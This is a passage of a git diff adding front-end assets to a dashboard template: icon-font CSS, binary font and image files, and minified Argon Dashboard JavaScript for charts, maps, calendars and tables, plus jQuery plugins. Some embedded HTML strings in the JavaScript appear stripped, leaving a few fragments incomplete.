::before{content:"\ea45";}.ni-pin-3::before{content:"\ea46";}.ni-planet::before{content:"\ea47";}.ni-ruler-pencil::before{content:"\ea48";}.ni-satisfied::before{content:"\ea49";}.ni-scissors::before{content:"\ea4a";}.ni-send::before{content:"\ea4b";}.ni-settings-gear-65::before{content:"\ea4c";}.ni-settings::before{content:"\ea4d";}.ni-single-02::before{content:"\ea4e";}.ni-single-copy-04::before{content:"\ea4f";}.ni-sound-wave::before{content:"\ea50";}.ni-spaceship::before{content:"\ea51";}.ni-square-pin::before{content:"\ea52";}.ni-support-16::before{content:"\ea53";}.ni-tablet-button::before{content:"\ea54";}.ni-tag::before{content:"\ea55";}.ni-tie-bow::before{content:"\ea56";}.ni-time-alarm::before{content:"\ea57";}.ni-trophy::before{content:"\ea58";}.ni-tv-2::before{content:"\ea59";}.ni-umbrella-13::before{content:"\ea5a";}.ni-user-run::before{content:"\ea5b";}.ni-vector::before{content:"\ea5c";}.ni-watch-time::before{content:"\ea5d";}.ni-world::before{content:"\ea5e";}.ni-zoom-split-in::before{content:"\ea5f";}.ni-collection::before{content:"\ea60";}.ni-image::before{content:"\ea61";}.ni-shop::before{content:"\ea62";}.ni-ungroup::before{content:"\ea63";}.ni-world-2::before{content:"\ea64";}.ni-ui-04::before{content:"\ea65";} \ No newline at end of file diff --git a/template/index4/assets/fonts/nucleo-icons.ttf b/template/index4/assets/fonts/nucleo-icons.ttf new file mode 100644 index 0000000..1a55985 Binary files /dev/null and b/template/index4/assets/fonts/nucleo-icons.ttf differ diff --git a/template/index4/assets/fonts/nucleo-icons.woff b/template/index4/assets/fonts/nucleo-icons.woff new file mode 100644 index 0000000..cb19247 Binary files /dev/null and b/template/index4/assets/fonts/nucleo-icons.woff differ diff --git a/template/index4/assets/fonts/nucleo-icons.woff2 b/template/index4/assets/fonts/nucleo-icons.woff2 new file mode 100644 index 0000000..e294e08 Binary files /dev/null and b/template/index4/assets/fonts/nucleo-icons.woff2 differ diff --git a/template/index4/assets/images/bg-admin.jpg b/template/index4/assets/images/bg-admin.jpg new file mode 100644 index 0000000..87cca24 Binary files /dev/null and b/template/index4/assets/images/bg-admin.jpg differ diff --git a/template/index4/assets/images/bg-uaspay5.jpg b/template/index4/assets/images/bg-uaspay5.jpg new file mode 100644 index 0000000..c719af9 Binary files /dev/null and b/template/index4/assets/images/bg-uaspay5.jpg differ diff --git a/template/index4/assets/images/img-1-1000x600.jpg b/template/index4/assets/images/img-1-1000x600.jpg new file mode 100644 index 0000000..f7be1cc Binary files /dev/null and b/template/index4/assets/images/img-1-1000x600.jpg differ diff --git a/template/index4/assets/images/landing-1.jpg b/template/index4/assets/images/landing-1.jpg new file mode 100644 index 0000000..ca04f32 Binary files /dev/null and b/template/index4/assets/images/landing-1.jpg differ diff --git a/template/index4/assets/images/landing-2.jpg b/template/index4/assets/images/landing-2.jpg new file mode 100644 index 0000000..bf33750 Binary files /dev/null and b/template/index4/assets/images/landing-2.jpg differ diff --git a/template/index4/assets/images/landing-3.jpg b/template/index4/assets/images/landing-3.jpg new file mode 100644 index 0000000..09e148a Binary files /dev/null and b/template/index4/assets/images/landing-3.jpg differ diff --git a/template/index4/assets/js/app.min.js b/template/index4/assets/js/app.min.js new file mode 100644 index 0000000..1fc5332 --- /dev/null +++ b/template/index4/assets/js/app.min.js @@ -0,0 +1 @@ +"use strict";var Layout=function(){function e(){$(".sidenav-toggler").addClass("active"),$(".sidenav-toggler").data("action","sidenav-unpin"),$("body").removeClass("g-sidenav-hidden").addClass("g-sidenav-show g-sidenav-pinned"),$("body").append('
                                  1&&(l+=''+i+""),l+=''+t+o+n+""}}}(e,t),t.update()}return window.Chart&&o(Chart,(e={defaults:{global:{responsive:!0,maintainAspectRatio:!1,defaultColor:"dark"==t?i.gray[700]:i.gray[600],defaultFontColor:"dark"==t?i.gray[700]:i.gray[600],defaultFontFamily:n.base,defaultFontSize:13,layout:{padding:0},legend:{display:!1,position:"bottom",labels:{usePointStyle:!0,padding:16}},elements:{point:{radius:0,backgroundColor:i.theme.primary},line:{tension:.4,borderWidth:4,borderColor:i.theme.primary,backgroundColor:i.transparent,borderCapStyle:"rounded"},rectangle:{backgroundColor:i.theme.warning},arc:{backgroundColor:i.theme.primary,borderColor:"dark"==t?i.gray[800]:i.white,borderWidth:4}},tooltips:{enabled:!0,mode:"index",intersect:!1}},doughnut:{cutoutPercentage:83,legendCallback:function(e){var a=e.data,t="";return a.labels.forEach(function(e,n){var i=a.datasets[0].backgroundColor[n];t+='',t+='',t+=e,t+=""}),t}}}},Chart.scaleService.updateScaleDefaults("linear",{gridLines:{borderDash:[2],borderDashOffset:[2],color:"dark"==t?i.gray[900]:i.gray[300],drawBorder:!1,drawTicks:!1,drawOnChartArea:!0,zeroLineWidth:0,zeroLineColor:"rgba(0,0,0,0)",zeroLineBorderDash:[2],zeroLineBorderDashOffset:[2]},ticks:{beginAtZero:!0,padding:10,callback:function(e){if(!(e%10))return e}}}),Chart.scaleService.updateScaleDefaults("category",{gridLines:{drawBorder:!1,drawOnChartArea:!1,drawTicks:!1},ticks:{padding:20},maxBarThickness:10}),e)),a.on({change:function(){var e=$(this);e.is("[data-add]")&&l(e)},click:function(){var e=$(this);e.is("[data-update]")&&r(e)}}),{colors:i,fonts:n,mode:t}}(),CopyIcon=function(){var e,a=".btn-icon-clipboard",t=$(a);t.length&&((e=t).tooltip().on("mouseleave",function(){e.tooltip("hide")}),new ClipboardJS(a).on("success",function(e){$(e.trigger).attr("title","Copied!").tooltip("_fixTitle").tooltip("show").attr("title","Copy to clipboard").tooltip("_fixTitle"),e.clearSelection()}))}(),Navbar=function(){var e=$(".navbar-nav, .navbar-nav .nav"),a=$(".navbar .collapse"),t=$(".navbar .dropdown");a.on({"show.bs.collapse":function(){var t;(t=$(this)).closest(e).find(a).not(t).collapse("hide")}}),t.on({"hide.bs.dropdown":function(){var e,a;e=$(this),(a=e.find(".dropdown-menu")).addClass("close"),setTimeout(function(){a.removeClass("close")},200)}})}(),NavbarCollapse=function(){$(".navbar-nav");var e=$(".navbar .navbar-custom-collapse");e.length&&(e.on({"hide.bs.collapse":function(){e.addClass("collapsing-out")}}),e.on({"hidden.bs.collapse":function(){e.removeClass("collapsing-out")}}))}(),Popover=function(){var e=$('[data-toggle="popover"]'),a="";e.length&&e.each(function(){!function(e){e.data("color")&&(a="popover-"+e.data("color"));var t={trigger:"focus",template:''};e.popover(t)}($(this))})}(),ScrollTo=function(){var e=$(".scroll-me, [data-scroll-to], .toc-entry a");function a(e){var a=e.attr("href"),t=e.data("scroll-to-offset")?e.data("scroll-to-offset"):0,n={scrollTop:$(a).offset().top-t};$("html, body").stop(!0,!0).animate(n,600),event.preventDefault()}e.length&&e.on("click",function(e){a($(this))})}(),Tooltip=function(){var e=$('[data-toggle="tooltip"]');e.length&&e.tooltip()}(),Checklist=function(){var e=$('[data-toggle="checklist"]');function a(e){e.is(":checked")?e.closest(".checklist-item").addClass("checklist-item-checked"):e.closest(".checklist-item").removeClass("checklist-item-checked")}e.length&&(e.each(function(){$(this).find('.checklist-entry input[type="checkbox"]').each(function(){a($(this))})}),e.find('input[type="checkbox"]').on("change",function(){a($(this))}))}(),FormControl=function(){var e=$(".form-control");e.length&&e.on("focus blur",function(e){$(this).parents(".form-group").toggleClass("focused","focus"===e.type)}).trigger("blur")}(),color="#5e72e4";function initMap(){map=document.getElementById("map-default"),lat=map.getAttribute("data-lat"),lng=map.getAttribute("data-lng");var e=new google.maps.LatLng(lat,lng),a={zoom:12,scrollwheel:!1,center:e,mapTypeId:google.maps.MapTypeId.ROADMAP};map=new google.maps.Map(map,a);var t=new google.maps.Marker({position:e,map:map,animation:google.maps.Animation.DROP,title:"Hello World!"}),n=new google.maps.InfoWindow({content:'

                                  Argon Dashboard PRO

                                  A beautiful premium dashboard for Bootstrap 4.

                                  '});google.maps.event.addListener(t,"click",function(){n.open(map,t)})}($map=$("#map-default")).length&&google.maps.event.addDomListener(window,"load",initMap);var $map,map,lat,lng;color="#5e72e4";function initMap(){map=document.getElementById("map-custom"),lat=map.getAttribute("data-lat"),lng=map.getAttribute("data-lng");var e=new google.maps.LatLng(lat,lng),a={zoom:12,scrollwheel:!1,center:e,mapTypeId:google.maps.MapTypeId.ROADMAP,styles:[{featureType:"administrative",elementType:"labels.text.fill",stylers:[{color:"#444444"}]},{featureType:"landscape",elementType:"all",stylers:[{color:"#f2f2f2"}]},{featureType:"poi",elementType:"all",stylers:[{visibility:"off"}]},{featureType:"road",elementType:"all",stylers:[{saturation:-100},{lightness:45}]},{featureType:"road.highway",elementType:"all",stylers:[{visibility:"simplified"}]},{featureType:"road.arterial",elementType:"labels.icon",stylers:[{visibility:"off"}]},{featureType:"transit",elementType:"all",stylers:[{visibility:"off"}]},{featureType:"water",elementType:"all",stylers:[{color:color},{visibility:"on"}]}]};map=new google.maps.Map(map,a);var t=new google.maps.Marker({position:e,map:map,animation:google.maps.Animation.DROP,title:"Hello World!"}),n=new google.maps.InfoWindow({content:'

                                  Argon Dashboard PRO

                                  A beautiful premium dashboard for Bootstrap 4.

                                  '});google.maps.event.addListener(t,"click",function(){n.open(map,t)})}($map=$("#map-custom")).length&&google.maps.event.addDomListener(window,"load",initMap);var BarStackedChart=function(){var e,a,t,n,i=$("#chart-bar-stacked");i.length&&(e=i,a=function(){return Math.round(100*Math.random())},t={labels:["January","February","March","April","May","June","July"],datasets:[{label:"Dataset 1",backgroundColor:Charts.colors.theme.danger,data:[a(),a(),a(),a(),a(),a(),a()]},{label:"Dataset 2",backgroundColor:Charts.colors.theme.primary,data:[a(),a(),a(),a(),a(),a(),a()]},{label:"Dataset 3",backgroundColor:Charts.colors.theme.success,data:[a(),a(),a(),a(),a(),a(),a()]}]},n=new Chart(e,{type:"bar",data:t,options:{tooltips:{mode:"index",intersect:!1},responsive:!0,scales:{xAxes:[{stacked:!0}],yAxes:[{stacked:!0}]}}}),e.data("chart",n))}(),DoughnutChart=function(){var e,a,t,n=$("#chart-doughnut");n.length&&(e=n,a=function(){return Math.round(100*Math.random())},t=new Chart(e,{type:"doughnut",data:{labels:["Danger","Warning","Success","Primary","Info"],datasets:[{data:[a(),a(),a(),a(),a()],backgroundColor:[Charts.colors.theme.danger,Charts.colors.theme.warning,Charts.colors.theme.success,Charts.colors.theme.primary,Charts.colors.theme.info],label:"Dataset 1"}]},options:{responsive:!0,legend:{position:"top"},animation:{animateScale:!0,animateRotate:!0}}}),e.data("chart",t))}(),PieChart=function(){var e,a,t,n=$("#chart-pie");n.length&&(e=n,a=function(){return Math.round(100*Math.random())},t=new Chart(e,{type:"pie",data:{labels:["Danger","Warning","Success","Primary","Info"],datasets:[{data:[a(),a(),a(),a(),a()],backgroundColor:[Charts.colors.theme.danger,Charts.colors.theme.warning,Charts.colors.theme.success,Charts.colors.theme.primary,Charts.colors.theme.info],label:"Dataset 1"}]},options:{responsive:!0,legend:{position:"top"},animation:{animateScale:!0,animateRotate:!0}}}),e.data("chart",t))}(),PointsChart=function(){var e,a,t=$("#chart-points");t.length&&(e=t,a=new Chart(e,{type:"line",options:{scales:{yAxes:[{gridLines:{color:Charts.colors.gray[200],zeroLineColor:Charts.colors.gray[200]},ticks:{}}]}},data:{labels:["May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],datasets:[{label:"Performance",data:[10,18,28,23,28,40,36,46,52],pointRadius:10,pointHoverRadius:15,showLine:!1}]}}),e.data("chart",a))}(),SalesChart=function(){var e,a,t=$("#chart-sales-dark");t.length&&(e=t,a=new Chart(e,{type:"line",options:{scales:{yAxes:[{gridLines:{color:Charts.colors.gray[700],zeroLineColor:Charts.colors.gray[700]},ticks:{}}]}},data:{labels:["May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],datasets:[{label:"Performance",data:[0,20,10,30,15,40,20,60,60]}]}}),e.data("chart",a))}(),BarsChart=(SalesChart=function(){var e,a,t=$("#chart-sales");t.length&&(e=t,a=new Chart(e,{type:"line",options:{scales:{yAxes:[{gridLines:{color:Charts.colors.gray[200],zeroLineColor:Charts.colors.gray[200]},ticks:{}}]}},data:{labels:["May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],datasets:[{label:"Performance",data:[0,20,10,30,15,40,20,60,60]}]}}),e.data("chart",a))}(),function(){var e=$("#chart-bars");e.length&&function(e){var a=new Chart(e,{type:"bar",data:{labels:["Jul","Aug","Sep","Oct","Nov","Dec"],datasets:[{label:"Sales",data:[25,20,30,22,17,29]}]}});e.data("chart",a)}(e)}()),LineChart=function(){var e,a,t=$("#chart-line");t.length&&(e=t,a=new Chart(e,{type:"line",options:{scales:{yAxes:[{gridLines:{color:Charts.colors.gray[200],zeroLineColor:Charts.colors.gray[200]},ticks:{}}]}},data:{labels:["May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],datasets:[{label:"Performance",data:[0,20,10,30,15,40,20,60,60]}]}}),e.data("chart",a))}();if($('[data-toggle="widget-calendar"]')[0]){$('[data-toggle="widget-calendar"]').fullCalendar({contentHeight:"auto",theme:!1,buttonIcons:{prev:" ni ni-bold-left",next:" ni ni-bold-right"},header:{right:"next",center:"title, ",left:"prev"},defaultDate:"2018-12-01",editable:!0,events:[{title:"Call with Dave",start:"2018-11-18",end:"2018-11-18",className:"bg-red"},{title:"Lunch meeting",start:"2018-11-21",end:"2018-11-22",className:"bg-orange"},{title:"All day conference",start:"2018-11-29",end:"2018-11-29",className:"bg-green"},{title:"Meeting with Mary",start:"2018-12-01",end:"2018-12-01",className:"bg-blue"},{title:"Winter Hackaton",start:"2018-12-03",end:"2018-12-03",className:"bg-red"},{title:"Digital event",start:"2018-12-07",end:"2018-12-09",className:"bg-warning"},{title:"Marketing event",start:"2018-12-10",end:"2018-12-10",className:"bg-purple"},{title:"Dinner with Family",start:"2018-12-19",end:"2018-12-19",className:"bg-red"},{title:"Black Friday",start:"2018-12-23",end:"2018-12-23",className:"bg-blue"},{title:"Cyber Week",start:"2018-12-02",end:"2018-12-02",className:"bg-yellow"}]});var mYear=moment().format("YYYY"),mDay=moment().format("dddd, MMM D");$(".widget-calendar-year").html(mYear),$(".widget-calendar-day").html(mDay)}var DatatableBasic=function(){var e=$("#datatable-basic");e.length&&e.on("init.dt",function(){$("div.dataTables_length select").removeClass("custom-select custom-select-sm")}).DataTable({keys:!0,select:{style:"multi"},language:{paginate:{previous:"",next:""}}})}(),DatatableBasic=function(){var e=$("#datatable-as");e.length&&e.on("init.dt",function(){$("div.dataTables_length select").removeClass("custom-select custom-select-sm")}).DataTable({order:["0","desc"],language:{paginate:{previous:"",next:""}}})}(),DatatableBasic=function(){var e=$("#datatable-asdd");e.length&&e.on("init.dt",function(){$("div.dataTables_length select").removeClass("custom-select custom-select-sm")}).DataTable({order:["4","desc"],language:{paginate:{previous:"",next:""}}})}(),DatatableButtons=function(){var e,a=$("#datatable-buttons");a.length&&(e={lengthChange:!1,dom:"Bfrtip",buttons:["copy","print"],language:{paginate:{previous:"",next:""}}},a.on("init.dt",function(){$(".dt-buttons .btn").removeClass("btn-secondary").addClass("btn-sm btn-default")}).DataTable(e))}(),Dropzones=function(){var e=$('[data-toggle="dropzone"]'),a=$(".dz-preview");e.length&&(Dropzone.autoDiscover=!1,e.each(function(){var e,t,n,i,o;e=$(this),t=void 0!==e.data("dropzone-multiple"),n=e.find(a),i=void 0,o={url:e.data("dropzone-url"),thumbnailWidth:null,thumbnailHeight:null,previewsContainer:n.get(0),previewTemplate:n.html(),maxFiles:t?null:1,acceptedFiles:t?null:"image/*",init:function(){this.on("addedfile",function(e){!t&&i&&this.removeFile(i),i=e})}},n.html(""),e.dropzone(o)}))}(),Datepicker=function(){var e=$(".datepicker");e.length&&e.each(function(){$(this).datepicker({disableTouchKeyboard:!0,autoclose:!1})})}(),noUiSlider=function(){if($(".input-slider-container")[0]&&$(".input-slider-container").each(function(){var e=$(this).find(".input-slider"),a=e.attr("id"),t=e.data("range-value-min"),n=e.data("range-value-max"),i=$(this).find(".range-slider-value"),o=i.attr("id"),l=i.data("range-value-low"),r=document.getElementById(a),s=document.getElementById(o);noUiSlider.create(r,{start:[parseInt(l)],connect:[!0,!1],range:{min:[parseInt(t)],max:[parseInt(n)]}}),r.noUiSlider.on("update",function(e,a){s.textContent=e[a]})}),$("#input-slider-range")[0]){var e=document.getElementById("input-slider-range"),a=document.getElementById("input-slider-range-value-low"),t=document.getElementById("input-slider-range-value-high"),n=[a,t];noUiSlider.create(e,{start:[parseInt(a.getAttribute("data-range-value-low")),parseInt(t.getAttribute("data-range-value-high"))],connect:!0,range:{min:parseInt(e.getAttribute("data-range-value-min")),max:parseInt(e.getAttribute("data-range-value-max"))}}),e.noUiSlider.on("update",function(e,a){n[a].textContent=e[a]})}}(),Scrollbar=function(){var e=$(".scrollbar-inner");e.length&&e.scrollbar().scrollLock()}(),Fullcalendar=function(){var e,a,t=$('[data-toggle="calendar"]');t.length&&(a={header:{right:"",center:"",left:""},buttonIcons:{prev:"calendar--prev",next:"calendar--next"},theme:!1,selectable:!0,selectHelper:!0,editable:!0,events:[{id:1,title:"Call with Dave",start:"2018-11-18",allDay:!0,className:"bg-red",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:2,title:"Lunch meeting",start:"2018-11-21",allDay:!0,className:"bg-orange",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:3,title:"All day conference",start:"2018-11-29",allDay:!0,className:"bg-green",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:4,title:"Meeting with Mary",start:"2018-12-01",allDay:!0,className:"bg-blue",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:5,title:"Winter Hackaton",start:"2018-12-03",allDay:!0,className:"bg-red",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:6,title:"Digital event",start:"2018-12-07",allDay:!0,className:"bg-warning",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:7,title:"Marketing event",start:"2018-12-10",allDay:!0,className:"bg-purple",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:8,title:"Dinner with Family",start:"2018-12-19",allDay:!0,className:"bg-red",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:9,title:"Black Friday",start:"2018-12-23",allDay:!0,className:"bg-blue",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."},{id:10,title:"Cyber Week",start:"2018-12-02",allDay:!0,className:"bg-yellow",description:"Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus."}],dayClick:function(e){var a=moment(e).toISOString();$("#new-event").modal("show"),$(".new-event--title").val(""),$(".new-event--start").val(a),$(".new-event--end").val(a)},viewRender:function(a){e.fullCalendar("getDate").month(),$(".fullcalendar-title").html(a.title)},eventClick:function(e,a){$("#edit-event input[value="+e.className+"]").prop("checked",!0),$("#edit-event").modal("show"),$(".edit-event--id").val(e.id),$(".edit-event--title").val(e.title),$(".edit-event--description").val(e.description)}},(e=t).fullCalendar(a),$("body").on("click",".new-event--add",function(){var a=$(".new-event--title").val(),t={Stored:[],Job:function(){var e=Date.now().toString().substr(6);return this.Check(e)?this.Job():(this.Stored.push(e),e)},Check:function(e){for(var a=0;a{a.value&&(e.fullCalendar("removeEvents",t),swal({title:"Deleted!",text:"The event has been deleted.",type:"success",buttonsStyling:!1,confirmButtonClass:"btn btn-primary"}))})},200))}),$("body").on("click","[data-calendar-view]",function(a){a.preventDefault(),$("[data-calendar-view]").removeClass("active"),$(this).addClass("active");var t=$(this).attr("data-calendar-view");e.fullCalendar("changeView",t)}),$("body").on("click",".fullcalendar-btn-next",function(a){a.preventDefault(),e.fullCalendar("next")}),$("body").on("click",".fullcalendar-btn-prev",function(a){a.preventDefault(),e.fullCalendar("prev")}))}(),VectorMap=function(){var e=$('[data-toggle="vectormap"]'),a={gray:{100:"#f6f9fc",200:"#e9ecef",300:"#dee2e6",400:"#ced4da",500:"#adb5bd",600:"#8898aa",700:"#525f7f",800:"#32325d",900:"#212529"},theme:{default:"#172b4d",primary:"#5e72e4",secondary:"#f4f5f7",info:"#11cdef",success:"#2dce89",danger:"#f5365c",warning:"#fb6340"},black:"#12263F",white:"#FFFFFF",transparent:"transparent"};e.length&&e.each(function(){var e,t;e=$(this),t={map:e.data("map"),zoomOnScroll:!1,scaleColors:["#f00","#0071A4"],normalizeFunction:"polynomial",hoverOpacity:.7,hoverColor:!1,backgroundColor:a.transparent,regionStyle:{initial:{fill:a.gray[200],"fill-opacity":.8,stroke:"none","stroke-width":0,"stroke-opacity":1},hover:{fill:a.gray[300],"fill-opacity":.8,cursor:"pointer"},selected:{fill:"yellow"},selectedHover:{}},markerStyle:{initial:{fill:a.theme.warning,"stroke-width":0},hover:{fill:a.theme.info,"stroke-width":0}},markers:[{latLng:[41.9,12.45],name:"Vatican City"},{latLng:[43.73,7.41],name:"Monaco"},{latLng:[35.88,14.5],name:"Malta"},{latLng:[1.3,103.8],name:"Singapore"},{latLng:[1.46,173.03],name:"Kiribati"},{latLng:[-21.13,-175.2],name:"Tonga"},{latLng:[15.3,-61.38],name:"Dominica"},{latLng:[-20.2,57.5],name:"Mauritius"},{latLng:[26.02,50.55],name:"Bahrain"}],series:{regions:[{values:{AU:760,BR:550,CA:120,DE:1300,FR:540,GB:690,GE:200,IN:200,RO:600,RU:300,US:2920},scale:[a.gray[400],a.gray[500]],normalizeFunction:"polynomial"}]}},e.vectorMap(t),e.find(".jvectormap-zoomin").addClass("btn btn-sm btn-primary"),e.find(".jvectormap-zoomout").addClass("btn btn-sm btn-primary")})}(),Lavalamp=function(){var e=$('[data-toggle="lavalamp"]');e.length&&e.each(function(){$(this).lavalamp({setOnClick:!1,enableHover:!0,margins:!0,autoUpdate:!0,duration:200})})}(),SortList=function(){var e=$('[data-toggle="list"]'),a=$("[data-sort]");e.length&&e.each(function(){var e;e=$(this),new List(e.get(0),function(e){return{valueNames:e.data("list-values"),listClass:e.data("list-class")?e.data("list-class"):"list"}}(e))}),a.on("click",function(){return!1})}(),Notify=function(){var e=$('[data-toggle="notify"]');e.length&&e.on("click",function(e){e.preventDefault(),function(e,a,t,n,i,o){$.notify({icon:t,title:" Bootstrap Notify",message:"Turning standard Bootstrap alerts into awesome notifications",url:""},{element:"body",type:n,allow_dismiss:!0,placement:{from:e,align:a},offset:{x:15,y:15},spacing:10,z_index:1080,delay:2500,timer:25e3,url_target:"_blank",mouse_over:!1,animate:{enter:i,exit:o},template:''})}($(this).attr("data-placement"),$(this).attr("data-align"),$(this).attr("data-icon"),$(this).attr("data-type"),$(this).attr("data-animation-in"),$(this).attr("data-animation-out"))})}(),OnScreen=function(){var e,a=$('[data-toggle="on-screen"]');a.length&&(e={container:window,direction:"vertical",doIn:function(){},doOut:function(){},tolerance:200,throttle:50,toggleClass:"on-screen",debug:!1},a.onScreen(e))}(),QuillEditor=function(){var e=$('[data-toggle="quill"]');e.length&&e.each(function(){var e,a;e=$(this),a=e.data("quill-placeholder"),new Quill(e.get(0),{modules:{toolbar:[["bold","italic"],["link","blockquote","code","image"],[{list:"ordered"},{list:"bullet"}]]},placeholder:a,theme:"snow"})})}(),Select2=function(){var e=$('[data-toggle="select"]');e.length&&e.each(function(){$(this).select2({})})}(),Tags=function(){var e=$('[data-toggle="tags"]');e.length&&e.each(function(){$(this).tagsinput({tagClass:"badge badge-primary"})})}(); \ No newline at end of file diff --git a/template/index4/assets/js/jquery-scrollLock.min.js b/template/index4/assets/js/jquery-scrollLock.min.js new file mode 100644 index 0000000..a0be96e --- /dev/null +++ b/template/index4/assets/js/jquery-scrollLock.min.js @@ -0,0 +1 @@ +(function(n){typeof define=="function"&&define.amd?define(["jquery"],n):n(jQuery)})(function(n){"use strict";var i={space:32,pageup:33,pagedown:34,end:35,home:36,up:38,down:40},r=function(t,i){var u=i.scrollTop(),h=i.prop("scrollHeight"),c=i.prop("clientHeight"),f=t.originalEvent.wheelDelta||-1*t.originalEvent.detail||-1*t.originalEvent.deltaY,r=0,e,o,s;return t.type==="wheel"?(e=i.height()/n(window).height(),r=t.originalEvent.deltaY*e):this.options.touch&&t.type==="touchmove"&&(f=t.originalEvent.changedTouches[0].clientY-this.startClientY),s=(o=f>0&&u+r<=0)||f<0&&u+r>=h-c,{prevent:s,top:o,scrollTop:u,deltaY:r}},u=function(n,t){var u=t.scrollTop(),r={top:!1,bottom:!1},f,e;return r.top=u===0&&(n.keyCode===i.pageup||n.keyCode===i.home||n.keyCode===i.up),r.top||(f=t.prop("scrollHeight"),e=t.prop("clientHeight"),r.bottom=f===u+e&&(n.keyCode===i.space||n.keyCode===i.pagedown||n.keyCode===i.end||n.keyCode===i.down)),r},t=function(i,r){if(this.$element=i,this.options=n.extend({},t.DEFAULTS,this.$element.data(),r),this.enabled=!0,this.startClientY=0,this.options.unblock)this.$element.on(t.CORE.wheelEventName+t.NAMESPACE,this.options.unblock,n.proxy(t.CORE.unblockHandler,this));this.$element.on(t.CORE.wheelEventName+t.NAMESPACE,this.options.selector,n.proxy(t.CORE.handler,this));if(this.options.touch){this.$element.on("touchstart"+t.NAMESPACE,this.options.selector,n.proxy(t.CORE.touchHandler,this));this.$element.on("touchmove"+t.NAMESPACE,this.options.selector,n.proxy(t.CORE.handler,this));if(this.options.unblock)this.$element.on("touchmove"+t.NAMESPACE,this.options.unblock,n.proxy(t.CORE.unblockHandler,this))}if(this.options.keyboard){this.$element.attr("tabindex",this.options.keyboard.tabindex||0);this.$element.on("keydown"+t.NAMESPACE,this.options.selector,n.proxy(t.CORE.keyboardHandler,this));if(this.options.unblock)this.$element.on("keydown"+t.NAMESPACE,this.options.unblock,n.proxy(t.CORE.unblockHandler,this))}},f;t.NAME="ScrollLock";t.VERSION="3.1.2";t.NAMESPACE=".scrollLock";t.ANIMATION_NAMESPACE=t.NAMESPACE+".effect";t.DEFAULTS={strict:!1,strictFn:function(n){return n.prop("scrollHeight")>n.prop("clientHeight")},selector:!1,animation:!1,touch:"ontouchstart"in window,keyboard:!1,unblock:!1};t.CORE={wheelEventName:"onwheel"in document.createElement("div")?"wheel":document.onmousewheel!==undefined?"mousewheel":"DOMMouseScroll",animationEventName:["webkitAnimationEnd","mozAnimationEnd","MSAnimationEnd","oanimationend","animationend"].join(t.ANIMATION_NAMESPACE+" ")+t.ANIMATION_NAMESPACE,unblockHandler:function(n){n.__currentTarget=n.currentTarget},handler:function(i){var f,u,e;this.enabled&&!i.ctrlKey&&(f=n(i.currentTarget),(this.options.strict!==!0||this.options.strictFn(f))&&(i.stopPropagation(),u=n.proxy(r,this)(i,f),i.__currentTarget&&(u.prevent&=n.proxy(r,this)(i,n(i.__currentTarget)).prevent),u.prevent&&(i.preventDefault(),u.deltaY&&f.scrollTop(u.scrollTop+u.deltaY),e=u.top?"top":"bottom",this.options.animation&&setTimeout(t.CORE.animationHandler.bind(this,f,e),0),f.trigger(n.Event(e+t.NAMESPACE)))))},touchHandler:function(n){this.startClientY=n.originalEvent.touches[0].clientY},animationHandler:function(n,i){var r=this.options.animation[i],u=this.options.animation.top+" "+this.options.animation.bottom;n.off(t.ANIMATION_NAMESPACE).removeClass(u).addClass(r).one(t.CORE.animationEventName,function(){n.removeClass(r)})},keyboardHandler:function(i){var r=n(i.currentTarget),o=r.scrollTop(),f=u(i,r),e;return(i.__currentTarget&&(e=u(i,n(i.__currentTarget)),f.top&=e.top,f.bottom&=e.bottom),f.top)?(r.trigger(n.Event("top"+t.NAMESPACE)),this.options.animation&&setTimeout(t.CORE.animationHandler.bind(this,r,"top"),0),!1):f.bottom?(r.trigger(n.Event("bottom"+t.NAMESPACE)),this.options.animation&&setTimeout(t.CORE.animationHandler.bind(this,r,"bottom"),0),!1):void 0}};t.prototype.toggleStrict=function(){this.options.strict=!this.options.strict};t.prototype.enable=function(){this.enabled=!0};t.prototype.disable=function(){this.enabled=!1};t.prototype.destroy=function(){this.disable();this.$element.off(t.NAMESPACE);this.$element=null;this.options=null};f=n.fn.scrollLock;n.fn.scrollLock=function(i){return this.each(function(){var u=n(this),f=typeof i=="object"&&i,r=u.data(t.NAME);(r||"destroy"!==i)&&(r||u.data(t.NAME,r=new t(u,f)),typeof i=="string"&&r[i]())})};n.fn.scrollLock.defaults=t.DEFAULTS;n.fn.scrollLock.noConflict=function(){return n.fn.scrollLock=f,this}}); \ No newline at end of file diff --git a/template/index4/assets/js/jquery.lavalamp.min.js b/template/index4/assets/js/jquery.lavalamp.min.js new file mode 100644 index 0000000..d0cf5f3 --- /dev/null +++ b/template/index4/assets/js/jquery.lavalamp.min.js @@ -0,0 +1 @@ +!function(a){"use strict";var t={init:function(t){var o={easing:"ease",duration:700,margins:!1,setOnClick:!1,activeObj:".active",autoUpdate:!1,updateTime:100,enableHover:!0,delayOn:0,delayOff:0,enableFocus:!1,deepFocus:!1};return t=a.extend({},o,t),this.each(function(){var 